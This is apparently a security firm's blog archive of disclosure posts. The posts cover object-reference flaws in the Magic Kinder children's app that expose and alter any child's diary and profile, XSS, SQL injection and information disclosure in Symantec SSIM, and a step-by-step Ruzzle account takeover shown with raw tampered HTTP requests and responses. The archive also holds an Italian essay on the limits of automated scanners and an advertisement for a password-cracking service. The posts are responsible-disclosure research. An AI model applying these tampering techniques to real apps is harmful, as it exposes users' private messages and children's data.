27 March, 2016

Happy Hacking Easter (story of privacy violation into an eggshell)

In accordance with ethics of responsible disclosure, the vendor was informed but emails were left unreplied/ignored

Timeline

  • First email on 08 March 2016
  • Second email on 14 March 2016

Prelude

In recent years we have seen an evolution of people lifestyle, and digital identity is becoming part of our real life with all connected risks.Our “digital native” children have access to networked digital technologies, playing with tables, smartphones or smart toys; We must ensure that this new kind of “game” must be safe in the same way as we make for physical one. The research presented here is a privacy analysis of the app Magic Kinder and takes its inspiration from a niece who asked to her dear uncle to install this app on her smartphone.

The app

The Magic Kinder app is designed for children to involve them in educational games; this app allows messages and media content sharing between family and friends, according to the app description: “The Magic Kinder app will help you and your child always stay in touch with the people you love through the Family Diary.In a few steps you can create your private community with relatives and trusted friends and start sharing emotions, exchanging voice messages, photos and creations whilst staying connected in a safe and protected environment

The sharing function is called FamilyDiary, this function should be confined only to family members and friends, the target of our research is to prove the complete absence of restriction mechanisms for content sharing, this could allow privacy violation of any children, making it possible for a malicious user to read the chat of the children, send them messages, photographs and videos or change user profile info such as date of birth and gender.

Analysis

Using an http proxy we intercepted the traffic between the app and the backend to take a close look to the api calls to familyDiary, the following interaction between the client app and backend have been analyzed:

Send a message

When a client try to send e message, make a POST request to “/familyDiary/share”, in that request we can observe a JSON with 3 fields:

  1. users
  2. text or content_id
  3. post_type

The users field contain an array of recipients; each recipient has 2 parameter: user_id and user_type

the second field of JSON contains the payload of the message:

  • Text message has the parameter "text" followed by its value
  • Multimedia message has the parameter "content_id" followed by id of the uploaded multimedia content

The value of post_type field is 1 for text message or 3 for images

Our analysis demostrate that tampering user_id parameter in the following POST request it is possible to send a message or an image to any other user_id and not only to those associated with the actual account

Read the familyDiary status

When the client app try to read the status of familiDiary make a GET request to api "familiDiary" with the following parameters:

  • child_id
  • enddate
  • startdate

The response is JSON containing all the data from the target child_id familyDiary, in this case, tampering child_id parameter we can retrieve familyDiary data from all others child_ids

Update user data

When the client tries to update child_id date of birth and gender make a POST request to "user/avatar/update/XXXXXX" (where XXXXXX is the user_id/child_id), in the request we can observe a JSON with these fields:

  • date_of_birth
  • gender

Tampering the user_id/child_id in the url, it is possible to change the "date_of_birth" and the "gender" of any other user.

Last but not least, all communications are transmitted in clear text; no encryption is involved across the whole app.

Happy Easter to everybody!:)

(Massimo Bozza)

22 July, 2015

Quando il "tool" non basta...

Se sei “del mestiere” e le Code Review e i Penetration Test sono il tuo pane quotidiano, il titolo di questo articolo suonerà familiare; per molti altri probabilmente lo strumento automatico può essere ancora considerato un rimedio per mettere una "pezza" dove il processo di SSDLC ha fallito (ammesso ce ne sia uno). Nell’analisi proposta in queste poche righe, eviterò di tener conto del rapporto qualità prezzo tra un’analisi effettuata manualmente e una effettuata esclusivamente con uno strumento automatico (sia in ambito Code Review che Penetration Test) e mi focalizzerò esclusivamente su quegli aspetti che difficilmente uno strumento automatico è in grado di identificare durante l’analisi di un’applicazione. E’ evidente che un’analisi manuale supportata da uno strumento automatico dovrebbe fornire un risultato di qualità superiore cercando di mantenere i tempi di analisi comunque accettabili. Proprio a tal proposito ci sono numerosi casi in cui l’analisi automatica non consente di sviscerare alcune tipologie di vulnerabilità con impatto particolarmente elevato sull’intera infrastruttura applicativa. Molto spesso, ho la sfortuna di trovarmi nella spiacevole circostanza di non poter essere supportato come vorrei da uno strumento automatico in fase di analisi. Perché? Il perché è facilmente individuabile nell’impossibilità per i software attualmente in circolazione di identificare vulnerabilità di sicurezza che dipendono dal contesto operativo, dalla tipologia di dato gestito, dalla mancata implementazione di un meccanismo di autorizzazione o che impattano sulla business logic applicativa. Vediamo di seguito alcune di queste vulnerabilità.

Credenziali di accesso o altre informazioni sensibili “hardcoded” nel codice

Durante un’attività di code review può capitare d’imbattersi in credenziali di accesso applicative inserite staticamente nel codice, probabilmente introdotte in fase di collaudo; Molti potrebbero affermare che gli strumenti di analisi statica del codice in circolazione prevedono anche una ricerca per parole chiave. Ma cosa succede se lo sviluppatore decide di chiamare le variabili contenenti le credenziali di accesso con nomi assolutamente non attinenti alla tipologia del dato trattato? Questo è il primo dei casi in cui uno strumento automatico fallisce nel tentativo d’individuare una criticità di sicurezza. E’ facile immaginare come l'anomalia di sicurezza in oggetto abbia un impatto notevolmente elevato sui dati gestiti dall’applicazione. Ovviamente una problematica del genere potrebbe ricadere su qualsiasi tipo di dato inserito staticamente all’interno del codice, ma se uno strumento di analisi automatica non è in grado di rilevare delle credenziali di accesso risulta difficile pensare possa essere in grado di rilevare, correttamente, altri tipi di dati altrettanto importanti per l’utente e/o per l’applicazione (fatta eccezione ad esempio per i numeri PAN).

Utilizzo di “Clear-Text Protocols”

Ovviamente uno strumento automatico dovrebbe essere in grado di riconoscere la presenza di URL in HTTP piuttosto che in HTTPS; Quello che sicuramente (ad oggi) non è in grado di fare è contestualizzare con un’elevata certezza, l’utilizzo di una determinata URL all’interno di un definito blocco di codice e quindi di valutarne l’effettiva criticità. Chiaramente durante un’analisi statica del codice, è inverosimile che un’analista segnali l’utilizzo di richieste HTTP se queste non vengono utilizzate per l’invio di dati sensibili e/o critici per l’applicazione e/o per l’utente. Ma se all’interno della richiesta GET o POST viaggiassero credenziali di accesso, dati di pagamento o dati sensibili riconducibili a un determinato account? Certo, questa è una di quelle vulnerabilità facilmente identificabili durante un Penetration Test applicativo, ma il motivo per cui risulta importante identificarlo anche in fase di Code Review è che troppo spesso ci si affida a solo uno di questi servizi di sicurezza. Una Code Review, come anche un Penetration Test di qualità non può evidenziare false criticità ma soprattutto deve essere in grado di identificare problematiche di sicurezza non esclusivamente dipendenti dal codice applicativo.

Dati sensibili trasmessi nell’URL

Questa tipologia di vulnerabilità riassume entrambe le problematiche precedentemente descritte; poniamo il caso che l’applicazione oggetto di verifica utilizzi richieste HTTPS tramite metodo GET e preveda dei parametri. Di per se quanto appena descritto non è classificabile come una vulnerabilità, eppure l’occhio attento di un Security Analyst potrebbe essere in grado di contestualizzare la richiesta e intuire la tipologia di dati che verrano utilizzati per il corretto funzionamento del processo applicativo. Nel caso specifico sopra descritto, l’invio di dati di sessione e/o di pagamento risulta particolarmente critico poiché i dati saranno chiaramente visibili all’interno dei log del web server.

Mancata o errata implementazione di meccanismi di autorizzazione

Per continuare con le criticità a elevato impatto, nella lista delle vulnerabilità che molto poco probabilmente troverete in un report generato automaticamente, è necessario inserire quelle legate a una mancata o errata gestione delle autorizzazioni applicative. E’ difficile immaginare che un software utilizzato per le verifiche di sicurezza sia in grado di rilevare con assoluta certezza la presenza o meno di un meccanismo di verifica delle autorizzazioni all’interno del codice. Anche in questo caso l’intervento di un’analisi manuale risulta essere fondamentale.

Insomma, nulla che non si sappia già (o almeno così dovrebbe essere), ma per sottolineare quanto sia importante svolgere verifiche manuali supportate da quelle automatiche e continuare a sensibilizzare i non addetti ai lavori sull'importanza di non affidarsi ciecamente ai prodotti ma di affiancarvi soprattutto dei professionisti qualificati.

(Carlo Pelliccioni)

01 July, 2014

Password cracking? Yes, we do it!

Back once again, some months passed since our last post about some vulnerabilities found on Symantec Security Information Manager. We have been pretty busy working on quite a lot of stuff, and today we are proud to announce one of the projects that kept us working hard across the last months. Doing our job, really often we put hands on password hashes and/or other interesting data protected by cryptographic or hashing algorithms, and in certain situations to break those hashed passwords or any cryptographic measures in place to protect data, and do it quickly, can really make the difference. So in the end of last year we started planning to build our private infrastructure to support our activities with password cracking and more generally with high performance GPU computing capabilities. Today we publicly announce we made our first step toward the parallel computing and password cracking services deploying our first GPU cluster.

Yes! This shortly means that we are going to crack passwords, and we will do it as a service.

Our offer for this service is mainly oriented to law enforcement, intelligence and government agencies, military, forensics experts, private detectives and more generally to all the individuals or corporates who want to check the robustness of their passwords. The good news is that if you'll choose us to recover or crack passwords, all of your data will be stored in a safe place, managed following the highest security standards, handled personally, directly and exclusively by our staff on our private infrastructure. We do not rely on public or third-party cloud providers so you know exactly where your data is stored and processed at any time.

For a quotation or any further information please contact us at: info@hacktivesecurity.com

01 July, 2013

Symantec Security Information Manager, multiple vulnerabilities (XSS, SQLi, Information Disclosure)

Hi there, we missed here for quite a while but one more time we are back with something (hopefully) interesting. In the past months we have worked together with Symantec vulnerability response team to address some critical issues that were afflicting the Symantec Security Information Manager. Our R&D Team discovered vulnerabilities consisting of XSS (both stored and reflected), Sql Injection and Information Disclosure, in the beginning of March 2013, SSIM versions 4.7.x and 4.8 resulted to be affected. Hacktive Security notified Symantec about the findings and started the process of Responsible Disclosure according to the following timeline:

  • March 6th, Hacktive Security R&D Team notified Symantec about the issues
  • March 6th, Symantec answered asking for some additional details about afflicted versions of SSIM
  • March 20th, Symantec verified and addressed the issues to developers for patching
  • May 3rd, Hacktive Security R&D Team 1st request for patch relase date
  • May 3rd, Symantec takes some more time for fixing.
  • June 22nd, Hacktive Security R&D Team warns Symantec about public Disclosure planned the end of the month
  • June 28th, Symantec updates, CVEs number assignment and relase date planned for new version of the SSIM planned on July 1st US Time.
  • July 1th, Symantec releases the security advisory and new SSIM version that fix the addressed vulnerabilities.
  • July 1th, Hacktive Security R&D Team disclose the research results.

Following a brief proof of concept of the issues:

Java query editor of the SSIM resulted to be vulnerable to XSS attacks, a successful exploitation could possibly result in stealing user cookies or potentially leveraged to hijack an authorized user session. Hereafter an example of the injection on the query builder:

XSS1

Calling the malicious query through the interface triggers the attack, is also possible to "publish" the query so that other users can recall it, resulting in a stored XSS condition:

XSS2

The SSIM console does not sufficiently sanitize authorized client queries made against the database. A malicious user who has or can gain authorized access to a valid account could potentially inject arbitrary SQL database queries through the sql parameter in the api.jsp page in order to further compromise the database:

SQLi

Furthermore, the SSIM console does not properly restrict queries to web-GUI APIs which could be manipulated to potentially disclose sensitive information to unauthorized network users. This information could possibly be leveraged in any follow-on attempts to further compromise the application or network. Tests have shown that calling api.jsp and requesting for statistics it was possible to display informations about implemented rules without performing any authentication:

InfoDisclosure

Symantec has released the Security Advisory SYM13-006 that addresses the discussed vulnerabilities in the SSIM version 4.8.1.

21 March, 2013

Abusing Ruzzle protocol, privacy violation and more...

Ruzzle pwn

As we promised, we are back with something interesting:)

In the beginning of January 2013 we started a security research project focused on some of the most spreaded mobile applications and considering how popular Ruzzle became in the last months we could not take the app out from our targets. Hereafter we will discuss the results of our research about Ruzzle and the details of our finding, classifiable as a privacy violation issue.

When our team started analyzing the protocol behind Ruzzle they realized that every json response in session could be arbitrarily tampered without any server side check about what the application exchanged with the server. This kind of weakness is widely exploited in web application context to gain more privileges or to impersonate a different user within an authenticated session. The goal of our research was to obtain access as a different user (following we will refer to him as the victim) without authentication and perform actions as the victim. Ruzzle application protocol implements a chat feature that users can use to exchange messages with challenging friends. Results of our tests showed that a malicious user can obtain the full control over the victim's account, having access to the whole list of played games, current games, possibility to challenge other victim's friends and the most critical access to private messages exchanged with other users through the internal chat feature and the possibility to chat with those users as the victim.

A practical demonstration of the issue is described below:

Opening Ruzzle on a mobile device, the app perform the login process through a request using a classic HTTP POST method:

POST /api/user/login HTTP/1.1
Host: davincigameserver.appspot.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Content-Length: 222
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: Ruzzle/1.4.7 CFNetwork/609.1.4 Darwin/13.0.0

{"user":"userId":-1,"password":"51452b9113ac704754f6878544d938c8b2f4edd3", "useFacebookImage":"false","avatarId":0,"deviceId":"18:9E:BF:41:DD:65", "username":"******"},"locale":"en_US","version":"1.4.7","premium":"false"}

the POST above is the request originated by the client, containing the right parameters submitted through the application (in our case the login process is performed through the integration with the Facebook authentication). Here things become interesting! Intercepting and tampering the json response to this request, is enough to perform the trick, changing the value of the userId parameter indeed is the first step to get the full control over the victim's account.

HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 02 Jan 2013 08:37:33 GMT
Server: Google Frontend
Cache-Control: private
Content-Length: 257

{"applications":["1","4"],"avatarId":"0","facebookId":"*********","locale":"en_US","matchesPlayed":"0", "premium":"false","ranking":"0","session":"628CC4D9743CE8557FDD3D2D175AFFD5920642B3", "useFacebookImage":"true","userId":"*********","username":"*****"}

*To obtain the value of a userId is enough to intercept the regular traffic generated by Ruzzle while challenging the choosen victim.

We proceeded in tampering the value of the userId parameter with the one assigned to our victim:

{"applications":["1","4"],"avatarId":"0","facebookId":"*********","locale":"en_US","matchesPlayed":"0", "premium":"false","ranking":"0","session":"628CC4D9743CE8557FDD3D2D175AFFD5920642B3", "useFacebookImage":"true","userId":"tamperedId","username":"*****"}

Once done this, the last step is to tamper few other parameters inside of the refreshCache POST. The parameters that need to be tampered are the following cacheKey values:

  • listRequests_NNNNNNNNN
  • listInvites_NNNNNNNNN
  • listActiveGames_NNNNNNNNN
  • list_FinishedGames_NNNNNNNNN

The NNNNNNNNN represent the userId that in the POST originated by Ruzzle contains the legitimate value of the userId cached by the app. Submitting these cacheKey values tampered with the victim's userId in the numeric part after the underscore is the final step. The json response to this POST indeed loads into the Ruzzle app all data about the victim's account as briefly reported under.

HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 13 Mar 2013 11:39:05 GMT
Server: Google Frontend
Cache-Control: private
Content-Length: 44369

[…]

{"gameId":"3553712971150881448","persistedRound":"false","player1Done":"false","player1Score":"0", "player2Done":"false","player2Score":"0","round":"1","seed1":"1525374704","seed2":"816673570","seed3": "494846459"},{"gameId":"3553712971150881448","persistedRound":"false","player1Done":"false", "player1Score":"0","player2Done":"false","player2Score":"0","round":"2","seed1":"1159880445","seed2": "281586875","seed3":"645812112"}],"state":"1","type":"0"},{"userId":"0","cacheKey":"readGame_3100519240091618999","cacheTimestamp":"1363174744785", "chatConversation":{"userId":"0","conversationId":"1032368976","lastUpdated":"1363164721741", "messages":[{"message":"This is a private conversation","read":"true","sender":"*********","timeSent": "1363162097326"},{"message":"Are you sure? ","read":"true","sender":"*********","timeSent": "1363162140730"}]

[…]

At this point the Ruzzle client on the mobile device shows the victim's account, including the full history of current and finished games and for each of them is possible to access to detail page and to private messages exchanging/exchanged.

04 March, 2013

Welcome to Hacktive Security Blog

So here we are,

our first blog post, we hope to let you read on these pages interesting stuff, of course here we will handle mainly information security related subjects but besides sharing our news and researches we will try to use this space even to improve the communication experience with our customers, suppliers and/or just friendy followers. Stay tuned, we will come up with some cool stuff soon:)

Home